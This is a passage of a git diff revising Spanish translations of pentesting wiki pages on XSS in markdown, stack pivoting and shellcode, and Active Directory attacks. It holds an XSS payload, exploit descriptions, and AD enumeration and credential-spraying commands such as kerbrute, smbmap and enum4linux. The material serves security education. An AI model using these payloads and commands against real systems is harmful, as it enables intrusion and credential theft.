a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md index d5f9c53da..05f163538 100644 --- a/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md +++ b/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md @@ -61,7 +61,7 @@ Ejemplo de payloads:
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)"> ----------------------------------------------- Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`. - **`system()`** -> Llamado por `ret`. -- **`&(leave;ret)`** -> Llamado después de que termine el sistema, moverá el ESP al EBP falso y comenzará de nuevo. +- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo. - **`&("/bin/sh")`**-> Parámetro para `system`. Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa. -Esto es como un [ret2lib](ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite. +Esto es como un [ret2lib](ret2lib/index.html), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite. -Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Este es el payload final de la página: +Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Esta es la carga útil final de la página: ```python from pwn import * @@ -91,7 +91,7 @@ print(p.recvline()) ``` ## EBP es inútil -Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene un efecto real.\ +Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\ Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado. - **No optimizado:** @@ -120,7 +120,7 @@ ret # return ### **`pop rsp`** gadget -[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay un **leak de la pila**: +[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay una **leak de la pila**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md index db5ab974c..414cd953c 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md @@ -4,7 +4,7 @@ ## Información Básica -**Stack shellcode** es una técnica utilizada en la explotación binaria donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Puntero de Instrucción (IP)** o **Puntero de Instrucción Extendida (EIP)** para que apunte a la ubicación de este shellcode, provocando su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. +**Stack shellcode** es una técnica utilizada en la explotación binaria donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Puntero de Instrucción (IP)** o **Puntero de Instrucción Extendida (EIP)** para apuntar a la ubicación de este shellcode, lo que provoca su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. ### Ejemplo en C: Un Programa Vulnerable @@ -28,7 +28,7 @@ Este programa es vulnerable a un desbordamiento de búfer debido al uso de la fu ### Compilación -Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: +Para compilar este programa mientras desactivas varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` @@ -68,13 +68,13 @@ p.interactive() ``` Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute. -El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección inicial de tu buffer más un desplazamiento para aterrizar en el NOP slide. +El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide. ## Protecciones -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. -- La protección de **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. +- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. +- La protección **stack** de [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable. ## Otros Ejemplos y Referencias diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index 494ab0fe4..58e343983 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Robo de Información Sensible a través de una Web +# Robo de Divulgación de Información Sensible desde una Web {{#include ./banners/hacktricks-training.md}} -Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito o cualquier otra información sensible, puedes intentar robarla.\ +Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito u otra información sensible, puedes intentar robarla.\ Aquí te presento las principales formas en que puedes intentar lograrlo: -- [**CORS bypass**](pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax a una página maliciosa. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares. +- [**CORS bypass**](pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax para una página maliciosa. +- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información. +- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares. - [**Clickjaking**](pentesting-web/clickjacking.md): Si no hay protección contra este ataque, es posible que puedas engañar al usuario para que te envíe los datos sensibles (un ejemplo [aquí](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ./banners/hacktricks-training.md}} diff --git a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md index 2797c5cf0..ad3074884 100644 --- a/src/todo/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/todo/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Robo de Información Sensible desde una Web +# Robo de Divulgación de Información Sensible desde una Web {{#include ../banners/hacktricks-training.md}} -Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito o cualquier otra información sensible, puedes intentar robarla.\ +Si en algún momento encuentras una **página web que te presenta información sensible basada en tu sesión**: Tal vez esté reflejando cookies, o imprimiendo detalles de tarjetas de crédito u otra información sensible, puedes intentar robarla.\ Aquí te presento las principales formas en que puedes intentar lograrlo: -- [**CORS bypass**](../pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax a una página maliciosa. -- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información. -- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares. +- [**CORS bypass**](../pentesting-web/cors-bypass.md): Si puedes eludir los encabezados CORS, podrás robar la información realizando una solicitud Ajax para una página maliciosa. +- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Si encuentras una vulnerabilidad XSS en la página, es posible que puedas abusar de ella para robar la información. +- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Si no puedes inyectar etiquetas XSS, aún puedes robar la información utilizando otras etiquetas HTML regulares. - [**Clickjaking**](../pentesting-web/clickjacking.md): Si no hay protección contra este ataque, es posible que puedas engañar al usuario para que te envíe los datos sensibles (un ejemplo [aquí](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 6ab30de83..b092fe4e8 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -16,13 +16,13 @@ Los conceptos clave dentro de **Active Directory** incluyen: 4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común. 5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesta por varios árboles con **relaciones de confianza** entre ellos. -**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden: +**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizadas dentro de una red. Estos servicios comprenden: 1. **Servicios de Dominio** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo funcionalidades de **autenticación** y **búsqueda**. 2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros. 3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**. -4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión. -5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizado. +4. **Servicios de Federación de Directorios** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión. +5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados. 6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**. Para una explicación más detallada, consulta: [**TechTerms - Definición de Active Directory**](https://techterms.com/definition/active_directory) @@ -44,7 +44,7 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr - Escanear la red, encontrar máquinas y puertos abiertos e intentar **explotar vulnerabilidades** o **extraer credenciales** de ellas (por ejemplo, [las impresoras podrían ser objetivos muy interesantes](ad-information-in-printers.md)). - Enumerar DNS podría proporcionar información sobre servidores clave en el dominio como web, impresoras, comparticiones, vpn, medios, etc. - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- Consulta la [**Metodología de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar más información sobre cómo hacer esto. +- Echa un vistazo a la [**Metodología de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar más información sobre cómo hacer esto. - **Verificar acceso nulo y de invitado en servicios smb** (esto no funcionará en versiones modernas de Windows): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` @@ -76,7 +76,7 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr ### Enumeración de usuarios -- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). +- **Enumeración anónima de SMB/LDAP:** Consulta las páginas de [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) y [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md). - **Enumeración Kerbrute**: Cuando se solicita un **nombre de usuario inválido**, el servidor responderá utilizando el código de error **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, lo que nos permite determinar que el nombre de usuario era inválido. **Nombres de usuario válidos** provocarán ya sea el **TGT en una respuesta AS-REP** o el error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicando que se requiere que el usuario realice una pre-autenticación. ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -113,7 +113,7 @@ Ok, así que sabes que ya tienes un nombre de usuario válido pero no contraseñ - [**ASREPRoast**](asreproast.md): Si un usuario **no tiene** el atributo _DONT_REQ_PREAUTH_, puedes **solicitar un mensaje AS_REP** para ese usuario que contendrá algunos datos encriptados por una derivación de la contraseña del usuario. - [**Password Spraying**](password-spraying.md): Intentemos con las contraseñas más **comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!). -- Ten en cuenta que también puedes **rociar servidores OWA** para intentar acceder a los servidores de correo de los usuarios. +- Ten en cuenta que también puedes **spray servidores OWA** para intentar acceder a los servidores de correo de los usuarios. {{#ref}} password-spraying.md @@ -141,7 +141,7 @@ Si puedes **acceder a otras PC o recursos compartidos** con el **usuario nulo o ## Enumerando Active Directory CON credenciales/sesión -Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **debes recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**. +Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **deberías recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**. Antes de comenzar la enumeración autenticada, deberías saber cuál es el **problema del doble salto de Kerberos.** @@ -156,9 +156,9 @@ Haber comprometido una cuenta es un **gran paso para comenzar a comprometer todo Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible usuario vulnerable, y respecto a [**Password Spraying**](password-spraying.md), puedes obtener una **lista de todos los nombres de usuario** y probar la contraseña de la cuenta comprometida, contraseñas vacías y nuevas contraseñas prometedoras. - Podrías usar el [**CMD para realizar un reconocimiento básico**](../basic-cmd-for-pentesters.md#domain-info) -- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/) que será más sigiloso +- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/index.html), que será más sigiloso - También puedes [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extraer información más detallada -- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc. +- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, definitivamente deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc. - **Otras herramientas automatizadas de enumeración de AD son:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**Registros DNS del AD**](ad-dns-records.md) ya que podrían contener información interesante. - Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** del **SysInternal** Suite. @@ -191,7 +191,7 @@ Una vez que hayas obtenido algunas credenciales, podrías verificar si tienes ac Si has comprometido credenciales o una sesión como un usuario regular de dominio y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM). -Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). +Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/index.html) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). ### Tickets de sesión actuales @@ -235,7 +235,7 @@ printnightmare.md ### Extracción de Hash -Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/).\ +Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/index.html).\ Luego, es hora de volcar todos los hashes en memoria y localmente.\ [**Lee esta página sobre diferentes formas de obtener los hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) @@ -245,7 +245,7 @@ Luego, es hora de volcar todos los hashes en memoria y localmente.\ Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, para que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.\ [**Lee esta página para más información.**](../ntlm/index.html#pass-the-hash) -### Over Pass the Hash/Pass the Key +### Over Pass the Hash/Pasar la Clave Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo se **permite Kerberos** como protocolo de autenticación. @@ -263,7 +263,7 @@ pass-the-ticket.md ### Reutilización de Credenciales -Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con él. +Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con ello. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine @@ -435,11 +435,11 @@ ad-certificates/domain-persistence.md ### Grupo AdminSDHolder -El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en su contra, permitiendo un acceso no autorizado a menos que se supervise de cerca. +El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca. [**Más información sobre el grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group) -### Credenciales de DSRM +### Credenciales DSRM Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, el hash del Administrador local puede ser extraído usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta del Administrador local. @@ -482,7 +482,7 @@ custom-ssp.md ### DCShadow -Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos específicos **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\ +Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos especificados **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\ Ten en cuenta que si usas datos incorrectos, aparecerán registros bastante feos. {{#ref}} @@ -504,7 +504,7 @@ Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comp ### Información básica -Una [**confianza de dominio**]() es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen **claves** específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza. +Una [**confianza de dominio**]() es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen claves específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza. En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. El usuario luego presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio. @@ -529,7 +529,7 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con - **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitoria bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo. - **Confianzas de enlace cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos. - **Confianzas externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas. -- **Confianzas de raíz de árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y un nuevo árbol raíz agregado. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](). +- **Confianzas de raíz de árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y una nueva raíz de árbol añadida. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](). - **Confianzas de bosque**: Este tipo de confianza es una confianza transitoria bidireccional entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad. - **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) y que no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows. @@ -541,15 +541,15 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con ### Ruta de ataque 1. **Enumerar** las relaciones de confianza -2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez por entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza fue creada para esto probablemente). +2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto). 1. Kerberoast en este caso podría ser otra opción. 3. **Comprometer** las **cuentas** que pueden **pivotar** entre dominios. Los atacantes podrían acceder a recursos en otro dominio a través de tres mecanismos principales: -- **Membresía de grupo local**: Los principales podrían ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina. -- **Membresía de grupo de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo. -- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de las ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable. +- **Membresía en grupos locales**: Los principales pueden ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina. +- **Membresía en grupos de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo. +- **Listas de Control de Acceso (ACLs)**: Los principales pueden estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable. ### Escalación de privilegios de bosque de hijo a padre ``` @@ -582,7 +582,7 @@ sid-history-injection.md #### Explotar NC de Configuración escribible -Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo. +Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en un bosque en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo. **Vincular GPO al sitio raíz de DC** @@ -598,9 +598,9 @@ Un análisis detallado se puede encontrar en la discusión sobre [Golden gMSA Tr **Ataque de cambio de esquema** -Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría 